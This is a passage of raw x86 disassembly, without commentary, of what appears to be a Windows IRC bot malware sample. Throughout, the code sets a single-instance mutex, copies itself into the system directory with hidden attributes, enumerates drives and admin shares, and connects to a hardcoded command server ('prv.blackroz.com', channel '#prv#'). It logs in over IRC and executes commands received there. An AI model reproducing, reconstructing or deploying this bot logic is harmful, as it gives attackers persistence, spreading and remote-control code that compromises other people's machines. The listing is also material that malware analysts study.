CODE XREF: sub_406D25+12Cj lea eax, [ebp+var_220] push eax call sub_40C6C3 pop ecx pop ecx loc_406E66: ; CODE XREF: sub_406D25+125j cmp [ebp+arg_C], ebx jnz short loc_406E85 push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_404555 add esp, 14h loc_406E85: ; CODE XREF: sub_406D25+144j lea eax, [ebp+var_220] push eax call sub_403145 cmp dword_42D968, ebx pop ecx jnz loc_406FFC push edi xor esi, esi mov edi, 200h loc_406EA6: ; CODE XREF: sub_406D25+1EEj push dword_41D8F0[esi] push off_41D8EC[esi] push ebx call sub_40570A add esp, 0Ch push off_41D8EC[esi] test eax, eax lea eax, [ebp+var_220] jnz short loc_406ED2 push offset unk_41DC1C jmp short loc_406ED7 ; --------------------------------------------------------------------------- loc_406ED2: ; CODE XREF: sub_406D25+1A4j push offset unk_41DBF0 loc_406ED7: ; CODE XREF: sub_406D25+1ABj push edi push eax call sub_40D3F7 add esp, 10h cmp [ebp+arg_C], ebx jnz short loc_406F00 push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_404555 add esp, 14h loc_406F00: ; CODE XREF: sub_406D25+1BFj lea eax, [ebp+var_220] push eax call sub_403145 add esi, 8 pop ecx cmp esi, 10h jb short loc_406EA6 call dword_4180E4 ; GetLogicalDrives test eax, eax mov [ebp+var_4], eax mov bl, 41h jz loc_406FE4 loc_406F28: ; CODE XREF: sub_406D25+2B9j mov eax, [ebp+var_4] and eax, 1 cmp al, 1 jnz loc_406FD9 cmp bl, 41h jz loc_406FD9 movsx esi, bl push esi push offset aC_0 ; "%c$" lea eax, [ebp+var_14] push 0Ah push eax call sub_40D3F7 push esi push offset aC ; "%c:\\" lea eax, [ebp+var_20] push 0Ah push eax call sub_40D3F7 add esp, 20h lea eax, [ebp+var_20] push eax call dword_42D8D4 ; GetDriveTypeA cmp eax, 3 jnz short loc_406FD9 lea eax, [ebp+var_20] push eax lea eax, [ebp+var_14] push eax push 0 call sub_40570A add esp, 0Ch test eax, eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_220] jnz short loc_406F9D push offset unk_41DC1C jmp short loc_406FA2 ; --------------------------------------------------------------------------- loc_406F9D: ; CODE XREF: sub_406D25+26Fj push offset unk_41DBF0 loc_406FA2: ; CODE XREF: sub_406D25+276j push edi push eax call sub_40D3F7 add esp, 10h cmp [ebp+arg_C], 0 jnz short loc_406FCC push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_404555 add esp, 14h loc_406FCC: ; CODE XREF: sub_406D25+28Bj lea eax, [ebp+var_220] push eax call sub_403145 pop ecx loc_406FD9: ; CODE XREF: sub_406D25+20Bj ; sub_406D25+214j ... inc bl shr [ebp+var_4], 1 jnz loc_406F28 loc_406FE4: ; CODE XREF: sub_406D25+1FDj lea eax, [ebp+var_220] push offset unk_41DBBC push eax call sub_40C6C3 pop ecx xor ebx, ebx pop ecx pop edi jmp short loc_40700F ; --------------------------------------------------------------------------- loc_406FFC: ; CODE XREF: sub_406D25+173j lea eax, [ebp+var_220] push offset unk_41D92C push eax call sub_40C6C3 pop ecx pop ecx loc_40700F: ; CODE XREF: sub_406D25+2D5j cmp [ebp+arg_C], ebx jnz short loc_40702D push ebx lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_404555 add esp, 14h loc_40702D: ; CODE XREF: sub_406D25+2EDj lea eax, [ebp+var_220] push eax call sub_403145 pop ecx xor eax, eax pop esi inc eax pop ebx leave retn sub_406D25 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407041 proc near ; CODE XREF: sub_40EB84+C9p var_90C = byte ptr -90Ch var_808 = byte ptr -808h var_807 = byte ptr -807h var_678 = byte ptr -678h var_578 = byte ptr -578h var_478 = byte ptr -478h var_374 = byte ptr -374h var_270 = byte ptr -270h var_16C = byte ptr -16Ch var_68 = dword ptr -68h var_5C = dword ptr -5Ch var_3C = dword ptr -3Ch var_38 = word ptr -38h var_24 = byte ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 90Ch push ebx push esi xor esi, esi xor ebx, ebx push edi mov [ebp+var_4], ebx mov [ebp+var_C], esi mov [ebp+var_10], esi mov [ebp+var_8], offset sub_403B83 push [ebp+var_8] push large dword ptr fs:0 mov large fs:0, esp mov edi, dword_41805C call edi ; GetTickCount xor edx, edx mov ecx, 3E8h div ecx mov dword_481BE8, eax call edi ; GetTickCount push eax call sub_40CB55 pop ecx call sub_4045F0 push 2 call dword_42D920 ; SetErrorMode push 7530h push offset aKtsFinal ; "KTS-Final" push esi push esi call dword_4180F8 ; CreateMutexA push eax call dword_4180F4 ; WaitForSingleObject cmp eax, 102h jnz short loc_4070C6 push 1 call dword_418074 ; ExitProcess loc_4070C6: ; CODE XREF: sub_407041+7Bj lea eax, [ebp+var_808] push eax push 202h call dword_42D7FC ; WSAStartup cmp eax, esi mov [ebp+var_8], eax jnz loc_407523 cmp [ebp+var_808], 2 jnz loc_40751D xor eax, eax mov al, [ebp+var_807] cmp al, 2 jnz loc_40751D mov edi, 104h lea eax, [ebp+var_374] push edi push eax call dword_418088 ; GetSystemDirectoryA lea eax, [ebp+var_270] push edi push eax push esi call dword_418094 ; GetModuleHandleA push eax call dword_41804C ; GetModuleFileNameA lea eax, [ebp+var_578] push eax lea eax, [ebp+var_678] push eax push esi lea eax, [ebp+var_270] push esi push eax call sub_40E887 lea eax, [ebp+var_578] push eax lea eax, [ebp+var_678] push eax push offset aSS_3 ; "%s%s" lea eax, [ebp+var_478] push edi push eax call sub_40D3F7 lea eax, [ebp+var_374] push eax lea eax, [ebp+var_270] push eax call sub_40E4B0 add esp, 30h test eax, eax jnz loc_407324 cmp dword_41DE48, esi mov edi, offset byte_41DF08 jz short loc_4071C8 push edi mov [ebp+var_4], esi call sub_40CBC0 sub eax, 4 pop ecx jz short loc_4071C8 loc_40719F: ; CODE XREF: sub_407041+185j call sub_40CB5F push 1Ah cdq pop ecx idiv ecx mov eax, [ebp+var_4] push edi add dl, 61h inc [ebp+var_4] mov byte_41DF08[eax], dl call sub_40CBC0 sub eax, 4 pop ecx cmp [ebp+var_4], eax jb short loc_40719F loc_4071C8: ; CODE XREF: sub_407041+14Dj ; sub_407041+15Cj lea eax, [ebp+var_374] push edi push eax lea eax, [ebp+var_16C] push offset aSS_2 ; "%s\\%s" push eax call sub_40C6C3 add esp, 10h lea eax, [ebp+var_16C] push eax call dword_4180C0 ; GetFileAttributesA cmp eax, 0FFFFFFFFh jz short loc_407208 lea eax, [ebp+var_16C] push 80h push eax call dword_4180BC ; SetFileAttributesA loc_407208: ; CODE XREF: sub_407041+1B3j mov edi, dword_4180F0 xor ebx, ebx jmp short loc_407234 ; --------------------------------------------------------------------------- loc_407212: ; CODE XREF: sub_407041+206j call dword_418044 ; RtlGetLastWin32Error cmp ebx, esi jnz short loc_407249 cmp eax, 20h jz short loc_407226 cmp eax, 5 jnz short loc_407249 loc_407226: ; CODE XREF: sub_407041+1DEj xor ebx, ebx push 3A98h inc ebx call dword_418040 ; Sleep loc_407234: ; CODE XREF: sub_407041+1CFj lea eax, [ebp+var_16C] push esi push eax lea eax, [ebp+var_270] push eax call edi ; CopyFileA test eax, eax jz short loc_407212 loc_407249: ; CODE XREF: sub_407041+1D9j ; sub_407041+1E3j lea eax, [ebp+var_16C] push eax call sub_405455 pop ecx lea eax, [ebp+var_16C] push 7 push eax call dword_4180BC ; SetFileAttributesA push 10h lea eax, [ebp+var_20] push esi push eax call sub_40CC40 push 44h lea eax, [ebp+var_68] pop edi push edi push esi push eax call sub_40CC40 mov [ebp+var_68], edi xor edi, edi inc edi add esp, 18h mov [ebp+var_5C], offset byte_4242F0 mov [ebp+var_3C], edi mov [ebp+var_38], si call dword_4180EC ; GetCurrentProcessId push eax push edi push 100000h call dword_4180DC ; OpenProcess lea ecx, [ebp+var_270] push ecx push eax lea eax, [ebp+var_16C] push eax lea eax, [ebp+var_90C] push offset aSDS ; "%s %d \"%s\"" push eax call sub_40C6C3 add esp, 14h lea eax, [ebp+var_20] push eax lea eax, [ebp+var_68] push eax lea eax, [ebp+var_374] push eax push esi push 28h push edi push esi lea eax, [ebp+var_90C] push esi push eax lea eax, [ebp+var_16C] push eax call dword_418078 ; CreateProcessA test eax, eax jz short loc_407321 push 0C8h call dword_418040 ; Sleep push [ebp+var_20] mov edi, dword_41807C call edi ; CloseHandle push [ebp+var_1C] call edi ; CloseHandle call dword_42D7E4 ; WSACleanup push esi call dword_418074 ; ExitProcess loc_407321: ; CODE XREF: sub_407041+2B6j mov ebx, [ebp+var_4] loc_407324: ; CODE XREF: sub_407041+13Cj cmp dword_481DD8, 2 jle short loc_407370 mov eax, dword_481DDC push dword ptr [eax+4] call sub_40D9BF pop ecx mov edi, eax push 0FFFFFFFFh push edi call dword_4180F4 ; WaitForSingleObject push edi call dword_41807C ; CloseHandle mov eax, dword_481DDC cmp [eax+8], esi jz short loc_407370 push 7D0h call dword_418040 ; Sleep mov eax, dword_481DDC push dword ptr [eax+8] call dword_4180E8 ; DeleteFileA loc_407370: ; CODE XREF: sub_407041+2EAj ; sub_407041+314j cmp dword_41DE4C, esi jz short loc_40738D cmp dword_42D940, esi jnz short loc_40738D lea eax, [ebp+var_478] push eax call sub_4031BC pop ecx loc_40738D: ; CODE XREF: sub_407041+335j ; sub_407041+33Dj push 0B80h push esi push offset dword_42E688 call sub_40CC40 add esp, 0Ch lea eax, [ebp+var_C] push eax lea eax, [ebp+var_478] push esi push eax push offset sub_40322D push esi push esi call dword_418048 ; CreateThread imul ebx, 234h cmp eax, esi mov dword_42F41C[ebx], eax jnz short loc_4073D3 call sub_40CB5F mov dword_481D5C, eax loc_4073D3: ; CODE XREF: sub_407041+386j push 7Fh mov ebx, offset dword_481BF4 push offset aPrv_blackroz_c ; "prv.blackroz.com" push ebx call sub_40C720 mov eax, dword_41DE38 push 3Fh mov edi, offset dword_481C74 push offset aPrv ; "#prv#" push edi mov dword_481D44, eax call sub_40C720 push 3Fh mov esi, offset dword_481CB4 push offset aPr__ ; "pr.." push esi call sub_40C720 add esp, 24h and dword_481D48, 0 loc_40741D: ; CODE XREF: sub_407041+485j ; sub_407041+491j ... and [ebp+var_4], 0 loc_407421: ; CODE XREF: sub_407041+43Bj cmp dword_42D958, 0 jnz short loc_407441 lea eax, [ebp+var_24] push 0 push eax call dword_42D7CC ; InternetGetConnectedState test eax, eax jnz short loc_407441 push 7530h jmp short loc_40746F ; --------------------------------------------------------------------------- loc_407441: ; CODE XREF: sub_407041+3E7j ; sub_407041+3F7j and dword_481D58, 0 push offset dword_481BF0 call sub_40752C cmp eax, 2 mov [ebp+var_8], eax jz loc_407518 cmp dword_481D58, 0 jz short loc_40746A dec [ebp+var_4] loc_40746A: ; CODE XREF: sub_407041+424j push 0BB8h loc_40746F: ; CODE XREF: sub_407041+3FEj call dword_418040 ; Sleep inc [ebp+var_4] cmp [ebp+var_4], 6 jl short loc_407421 cmp [ebp+var_8], 2 jz loc_407518 cmp [ebp+var_10], 0 jz short loc_4074CB push 7Fh push offset aPrv_blackroz_c ; "prv.blackroz.com" push ebx call sub_40C720 mov eax, dword_41DE38 push 3Fh push offset aPrv ; "#prv#" push edi mov dword_481D44, eax call sub_40C720 push 3Fh push offset aPr__ ; "pr.." push esi call sub_40C720 add esp, 24h and [ebp+var_10], 0 jmp loc_40741D ; --------------------------------------------------------------------------- loc_4074CB: ; CODE XREF: sub_407041+44Bj cmp byte_41DEE4, 0 jz loc_40741D push 7Fh push offset byte_41DEE4 push ebx call sub_40C720 mov eax, dword_41DE3C push 3Fh push offset aPrv_0 ; "#prv#" push edi mov dword_481D44, eax call sub_40C720 push 3Fh push offset aPr___0 ; "pr.." push esi call sub_40C720 add esp, 24h mov [ebp+var_10], 1 jmp loc_40741D ; --------------------------------------------------------------------------- loc_407518: ; CODE XREF: sub_407041+417j ; sub_407041+441j call sub_40C225 loc_40751D: ; CODE XREF: sub_407041+A9j ; sub_407041+B9j call dword_42D7E4 ; WSACleanup loc_407523: ; CODE XREF: sub_407041+9Cj pop edi pop esi xor eax, eax pop ebx leave retn 10h sub_407041 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40752C proc near ; CODE XREF: sub_407041+40Cp var_190 = dword ptr -190h var_18C = byte ptr -18Ch var_10C = byte ptr -10Ch var_CC = byte ptr -0CCh var_8C = byte ptr -8Ch var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_2C = byte ptr -2Ch var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 190h mov eax, [ebp+arg_0] push esi push edi push 59h pop ecx mov esi, eax lea edi, [ebp+var_190] rep movsd mov dword ptr [eax+160h], 1 loc_407551: ; CODE XREF: sub_40752C+E6j ; sub_40752C+125j ... push 10h lea eax, [ebp+var_10] push 0 push eax call sub_40CC40 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_3C] call dword_42D878 ; htons mov [ebp+var_E], ax lea eax, [ebp+var_18C] push eax call sub_4057D9 test eax, eax pop ecx mov [ebp+var_C], eax jz loc_40767D push 1Ch lea eax, [ebp+var_2C] push 0 push eax call sub_40CC40 push 0 lea eax, [ebp+var_2C] push dword_41DE5C push dword_41DE58 push eax call sub_406777 mov edi, eax mov eax, [ebp+var_34] imul eax, 234h push 1Bh add eax, offset byte_42F420 push edi push eax call sub_40C720 add esp, 28h push 6 push 1 push 2 call dword_42D8F4 ; socket mov esi, eax mov eax, [ebp+var_34] imul eax, 234h push 10h mov dword_42F414[eax], esi lea eax, [ebp+var_10] push eax push esi call dword_42D824 ; connect cmp eax, 0FFFFFFFFh jnz short loc_407617 push esi call dword_42D90C ; closesocket call sub_405802 push 7D0h loc_40760C: ; CODE XREF: sub_40752C+135j call dword_418040 ; Sleep jmp loc_407551 ; --------------------------------------------------------------------------- loc_407617: ; CODE XREF: sub_40752C+CDj push [ebp+var_38] lea eax, [ebp+var_18C] push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_CC] push [ebp+var_190] push edi push eax lea eax, [ebp+var_10C] push eax push esi call sub_407681 add esp, 20h mov edi, eax push esi call dword_42D90C ; closesocket test edi, edi jz loc_407551 cmp edi, 1 jnz short loc_407663 push 0DBBA0h jmp short loc_40760C ; --------------------------------------------------------------------------- loc_407663: ; CODE XREF: sub_40752C+12Ej cmp edi, 2 jnz loc_407551 push [ebp+var_34] call sub_40C378 pop ecx push edi pop eax loc_407677: ; CODE XREF: sub_40752C+153j pop edi pop esi leave retn 4 ; --------------------------------------------------------------------------- loc_40767D: ; CODE XREF: sub_40752C+5Aj xor eax, eax jmp short loc_407677 sub_40752C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407681 proc near ; CODE XREF: sub_40752C+112p var_1BA0 = byte ptr -1BA0h var_BA0 = byte ptr -0BA0h var_240 = byte ptr -240h var_1A0 = byte ptr -1A0h var_A0 = byte ptr -0A0h var_20 = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp mov eax, 1BA0h call sub_40CCA0 push ebx push esi push edi xor ebx, ebx push 2 mov [ebp+var_8], ebx lea eax, [ebp+var_1A0] pop ecx loc_40769F: ; CODE XREF: sub_407681+26j mov [eax], bl add eax, 80h dec ecx jnz short loc_40769F cmp byte_481D55, bl jz short loc_4076C6 push offset byte_481D55 push offset aPassS ; "PASS %s\r\n" push [ebp+arg_0] call sub_40450F add esp, 0Ch loc_4076C6: ; CODE XREF: sub_407681+2Ej push [ebp+arg_C] lea eax, [ebp+var_20] push ebx push ebx push 2 push eax call sub_406777 add esp, 10h push eax lea eax, [ebp+var_A0] push [ebp+arg_C] push offset aNickSUserS00S ; "NICK %s\r\nUSER %s 0 0 :%s\r\n" push eax call sub_40C6C3 add esp, 14h lea eax, [ebp+var_A0] push ebx push eax call sub_40CBC0 pop ecx push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call dword_42D8C4 ; send cmp eax, 0FFFFFFFFh jnz short loc_407730 push [ebp+arg_0] call dword_42D90C ; closesocket push 1388h call dword_418040 ; Sleep loc_407729: ; CODE XREF: sub_407681+D9j ; sub_407681+153j xor eax, eax loc_40772B: ; CODE XREF: sub_407681+16Fj ; sub_407681+177j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_407730: ; CODE XREF: sub_407681+92j ; sub_407681+F8j ... mov esi, 1000h lea eax, [ebp+var_1BA0] push esi push ebx push eax call sub_40CC40 add esp, 0Ch lea eax, [ebp+var_1BA0] push ebx push esi push eax push [ebp+arg_0] call dword_42D890 ; recv test eax, eax jle short loc_407729 lea eax, [ebp+var_BA0] push eax lea eax, [ebp+var_1BA0] push eax call sub_40526A pop ecx cmp eax, ebx pop ecx mov [ebp+var_C], eax mov [ebp+var_4], ebx jle short loc_407730 lea edi, [ebp+var_BA0] loc_407781: ; CODE XREF: sub_407681+165j xor esi, esi inc esi loc_407784: ; CODE XREF: sub_407681+144j push [ebp+arg_1C] lea eax, [ebp+var_8] push esi push eax lea eax, [ebp+var_240] push eax lea eax, [ebp+var_1A0] push eax push [ebp+arg_18] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push dword ptr [edi] call sub_4077FD add esp, 2Ch dec eax mov esi, eax cmp esi, ebx jle short loc_4077C7 push 7D0h call dword_418040 ; Sleep jmp short loc_407784 ; --------------------------------------------------------------------------- loc_4077C7: ; CODE XREF: sub_407681+137j cmp esi, 0FFFFFFFDh jz short loc_4077F5 cmp esi, 0FFFFFFFEh jz short loc_4077ED cmp esi, 0FFFFFFFFh jz loc_407729 inc [ebp+var_4] add edi, 4 mov eax, [ebp+var_4] cmp eax, [ebp+var_C] jl short loc_407781 jmp loc_407730 ; --------------------------------------------------------------------------- loc_4077ED: ; CODE XREF: sub_407681+14Ej xor eax, eax inc eax jmp loc_40772B ; --------------------------------------------------------------------------- loc_4077F5: ; CODE XREF: sub_407681+149j push 2 pop eax jmp loc_40772B sub_407681 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4077FD proc near ; CODE XREF: sub_407681+12Ap var_D30 = byte ptr -0D30h var_B30 = byte ptr -0B30h var_930 = byte ptr -930h var_8CF = byte ptr -8CFh var_8CE = byte ptr -8CEh var_8CB = byte ptr -8CBh var_8C2 = byte ptr -8C2h var_8C0 = byte ptr -8C0h var_8BE = byte ptr -8BEh var_8BD = byte ptr -8BDh var_830 = byte ptr -830h var_7B0 = byte ptr -7B0h var_7AC = byte ptr -7ACh var_754 = dword ptr -754h var_750 = byte ptr -750h var_744 = dword ptr -744h var_740 = byte ptr -740h var_6D0 = dword ptr -6D0h var_6CC = dword ptr -6CCh var_6C8 = dword ptr -6C8h var_6C4 = dword ptr -6C4h var_6C0 = dword ptr -6C0h var_6BC = dword ptr -6BCh var_6B8 = dword ptr -6B8h var_6B4 = dword ptr -6B4h var_6B0 = dword ptr -6B0h var_6AC = byte ptr -6ACh var_640 = dword ptr -640h var_63C = byte ptr -63Ch var_60C = byte ptr -60Ch var_5EC = dword ptr -5ECh var_5C0 = dword ptr -5C0h var_5BC = dword ptr -5BCh var_5B8 = dword ptr -5B8h var_5B4 = dword ptr -5B4h var_5B0 = dword ptr -5B0h var_5AC = dword ptr -5ACh var_5A8 = byte ptr -5A8h var_58C = dword ptr -58Ch var_588 = dword ptr -588h var_584 = byte ptr -584h var_508 = byte ptr -508h var_4F8 = dword ptr -4F8h var_4F4 = byte ptr -4F4h var_480 = byte ptr -480h var_474 = byte ptr -474h var_430 = byte ptr -430h var_420 = byte ptr -420h var_40C = dword ptr -40Ch var_408 = dword ptr -408h var_404 = byte ptr -404h var_3F4 = byte ptr -3F4h var_3E8 = byte ptr -3E8h var_3A0 = byte ptr -3A0h var_384 = byte ptr -384h var_37C = dword ptr -37Ch var_378 = dword ptr -378h var_374 = dword ptr -374h var_370 = byte ptr -370h var_320 = dword ptr -320h var_31C = dword ptr -31Ch var_318 = dword ptr -318h var_314 = dword ptr -314h var_310 = dword ptr -310h var_308 = dword ptr -308h var_304 = dword ptr -304h var_300 = dword ptr -300h var_2FC = dword ptr -2FCh var_2F8 = dword ptr -2F8h var_2F4 = dword ptr -2F4h var_2F0 = dword ptr -2F0h var_2EC = dword ptr -2ECh var_2E8 = dword ptr -2E8h var_2E4 = byte ptr -2E4h var_E4 = byte ptr -0E4h var_D8 = byte ptr -0D8h var_D4 = dword ptr -0D4h var_C8 = byte ptr -0C8h var_B0 = dword ptr -0B0h var_AC = dword ptr -0ACh var_A8 = dword ptr -0A8h var_A4 = dword ptr -0A4h var_A0 = dword ptr -0A0h var_9C = dword ptr -9Ch var_98 = dword ptr -98h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_64 = byte ptr -64h var_24 = dword ptr -24h var_20 = byte ptr -20h var_14 = byte ptr -14h var_13 = byte ptr -13h var_12 = byte ptr -12h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = dword ptr 30h push ebp mov ebp, esp sub esp, 0D30h push ebx push esi push edi mov edi, 200h xor ebx, ebx push edi lea eax, [ebp+var_2E4] push ebx push eax mov [ebp+var_24], 3 mov [ebp+var_10], ebx mov [ebp+var_A8], ebx mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov [ebp+var_B0], ebx call sub_40CC40 push 1Bh lea eax, [ebp+var_5A8] push [ebp+arg_10] push eax call sub_40C720 add esp, 18h cmp [ebp+arg_0], ebx jz loc_407C50 push edi lea eax, [ebp+var_B30] push ebx push eax call sub_40CC40 dec edi lea eax, [ebp+var_B30] push edi push [ebp+arg_0] push eax call sub_40C720 lea eax, [ebp+var_B30] push offset asc_41F928 ; " :" push eax call sub_40E4B0 mov [ebp+var_C], eax lea eax, [ebp+var_B30] push edi push eax lea eax, [ebp+var_D30] push eax call sub_40C720 mov edi, offset asc_41F924 ; " " lea eax, [ebp+var_D30] push edi push eax call sub_40E6E9 xor esi, esi add esp, 34h mov [ebp+var_A4], eax inc esi loc_4078BC: ; CODE XREF: sub_4077FD+D3j push edi push ebx call sub_40E6E9 mov [ebp+esi*4+var_A4], eax inc esi pop ecx cmp esi, 20h pop ecx jl short loc_4078BC mov edi, [ebp+var_A4] cmp edi, ebx jz loc_407C50 cmp [ebp+var_A0], ebx jz loc_407C50 push 100h lea eax, [ebp+var_930] push ebx push eax call sub_40CC40 add esp, 0Ch push 1Fh pop edx loc_407904: ; CODE XREF: sub_4077FD+13Bj lea ecx, [ebp+edx*4+var_A4] mov eax, [ecx] cmp eax, ebx jz short loc_407937 cmp byte ptr [eax], 2Dh jnz short loc_40793A cmp [eax+2], bl jnz short loc_40793A movsx esi, byte ptr [eax+1] mov [ecx], ebx mov edi, [ebp+var_A4] mov [ebp+esi+var_930], 1 mov [eax], bl mov [eax+1], bl mov [eax+2], bl loc_407937: ; CODE XREF: sub_4077FD+112j dec edx jns short loc_407904 loc_40793A: ; CODE XREF: sub_4077FD+117j ; sub_4077FD+11Cj xor esi, esi inc esi cmp [ebp+var_8BD], bl jz short loc_407948 mov [ebp+var_8], esi loc_407948: ; CODE XREF: sub_4077FD+146j cmp [ebp+var_8C2], bl jz short loc_407956 mov [ebp+var_8], ebx mov [ebp+var_4], esi loc_407956: ; CODE XREF: sub_4077FD+151j cmp byte ptr [edi], 0Ah jz short loc_407990 push 7Fh lea eax, [ebp+var_830] push edi push eax call sub_40C720 lea eax, [edi+1] push 17h push eax lea eax, [ebp+var_C8] push eax call sub_40C720 lea eax, [ebp+var_C8] push offset asc_41F920 ; "!" push eax call sub_40E6E9 add esp, 20h loc_407990: ; CODE XREF: sub_4077FD+15Cj push edi push offset aPing ; "PING" call sub_40D860 pop ecx test eax, eax pop ecx jnz short loc_4079E1 push [ebp+var_A0] mov byte ptr [edi+1], 4Fh push offset aPongS ; "PONG %s\r\n" push [ebp+arg_4] call sub_40450F mov eax, [ebp+arg_20] add esp, 0Ch cmp [eax], ebx jnz loc_409BEA push [ebp+arg_C] push [ebp+arg_8] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_40450F add esp, 10h jmp loc_409BEA ; --------------------------------------------------------------------------- loc_4079E1: ; CODE XREF: sub_4077FD+1A2j mov edi, [ebp+var_A0] push edi push offset a001 ; "001" call sub_40D860 pop ecx test eax, eax pop ecx jz loc_40B313 push edi push offset a005 ; "005" call sub_40D860 pop ecx test eax, eax pop ecx jz loc_40B313 push edi push offset a302 ; "302" call sub_40D860 pop ecx test eax, eax pop ecx jnz short loc_407A53 push offset a@ ; "@" push [ebp+var_98] call sub_40E4B0 pop ecx cmp eax, ebx pop ecx jz loc_409BEA inc eax push 9Fh push eax push [ebp+arg_1C] call sub_40C720 add esp, 0Ch jmp loc_409BEA ; --------------------------------------------------------------------------- loc_407A53: ; CODE XREF: sub_4077FD+223j push edi push offset a433 ; "433" call sub_40D860 pop ecx test eax, eax pop ecx jnz short loc_407A91 push ebx push dword_41DE5C push dword_41DE58 push [ebp+arg_10] call sub_406777 push [ebp+arg_10] push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_40450F add esp, 1Ch jmp loc_409BEA ; --------------------------------------------------------------------------- loc_407A91: ; CODE XREF: sub_4077FD+265j mov edi, [ebp+arg_18] mov [ebp+var_AC], 2 mov esi, 80h loc_407AA3: ; CODE XREF: sub_4077FD+2CBj lea eax, [ebp+var_830] push eax push edi call sub_40D860 pop ecx test eax, eax pop ecx jnz short loc_407AC0 mov [ebp+var_A8], 1 loc_407AC0: ; CODE XREF: sub_4077FD+2B7j add edi, esi dec [ebp+var_AC] jnz short loc_407AA3 mov edi, [ebp+var_A0] push edi push offset aKick ; "KICK" call sub_40D860 pop ecx test eax, eax pop ecx jnz loc_407BA9 mov edi, [ebp+arg_18] mov [ebp+arg_24], 2 loc_407AEF: ; CODE XREF: sub_4077FD+371j cmp [edi], bl jz short loc_407B69 push 7Fh lea eax, [ebp+var_830] push edi push eax call sub_40C720 add esp, 0Ch cmp [ebp+var_98], ebx jz short loc_407B69 push [ebp+var_98] lea eax, [ebp+var_C8] push eax call sub_40D860 pop ecx test eax, eax pop ecx jnz short loc_407B69 lea eax, [ebp+var_C8] mov [edi], bl push eax lea eax, [ebp+var_2E4] push offset unk_41F8B0 push eax call sub_40C6C3 lea eax, [ebp+var_2E4] push eax lea eax, [ebp+var_C8] push eax push offset aNoticeSS ; "NOTICE %s :%s\r\n" push [ebp+arg_4] call sub_40450F lea eax, [ebp+var_2E4] push eax call sub_403145 add esp, 20h loc_407B69: ; CODE XREF: sub_4077FD+2F4j ; sub_4077FD+30Ej ... add edi, esi dec [ebp+arg_24] jnz loc_407AEF push [ebp+var_98] push [ebp+arg_10] call sub_40D860 pop ecx test eax, eax pop ecx jnz loc_407C50 push [ebp+arg_C] mov eax, [ebp+arg_20] push [ebp+arg_8] mov [eax], ebx push offset aJoinSS ; "JOIN %s %s\r\n" loc_407B9C: ; CODE XREF: sub_4077FD+5CDj ; sub_4077FD+80Bj ... push [ebp+arg_4] call sub_40450F jmp loc_40AB17 ; --------------------------------------------------------------------------- loc_407BA9: ; CODE XREF: sub_4077FD+2E2j push edi push offset aNick ; "NICK" call sub_40D860 pop ecx test eax, eax pop ecx jnz loc_407CE5 mov eax, [ebp+var_9C] mov edi, [ebp+arg_18] inc eax mov [ebp+arg_0], 2 mov [ebp+arg_24], eax loc_407BD2: ; CODE XREF: sub_4077FD+427j lea eax, [ebp+var_830] push eax push edi call sub_40D860 pop ecx test eax, eax pop ecx jnz short loc_407C1F lea eax, [ebp+var_830] push 21h push eax call sub_40E610 pop ecx cmp eax, ebx pop ecx mov [ebp+arg_1C], eax jz short loc_407C1F push [ebp+arg_24] lea esi, [edi+2] mov byte ptr [edi], 3Ah lea eax, [esi-1] push eax call sub_40E3C0 push [ebp+arg_1C] push esi call sub_40E3D0 add esp, 10h mov esi, 80h loc_407C1F: ; CODE XREF: sub_4077FD+3E6j ; sub_4077FD+3FDj add edi, esi dec [ebp+arg_0] jnz short loc_407BD2 cmp [ebp+arg_24], ebx jz short loc_407C50 push [ebp+arg_10] lea eax, [ebp+var_C8] push eax call sub_40D860 pop ecx test eax, eax pop ecx jnz short loc_407C58 push 0Fh push [ebp+arg_24] push [ebp+arg_10] call sub_40C720 add esp, 0Ch loc_407C50: ; CODE XREF: sub_4077FD+54j ; sub_4077FD+DDj ... xor eax, eax inc eax loc_407C53: ; CODE XREF: sub_4077FD+23EFj ; sub_4077FD+26E2j ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_407C58: ; CODE XREF: sub_4077FD+441j mov esi, [ebp+arg_18] xor edi, edi loc_407C5D: ; CODE XREF: sub_4077FD+481j cmp [esi], bl jz short loc_407C74 lea 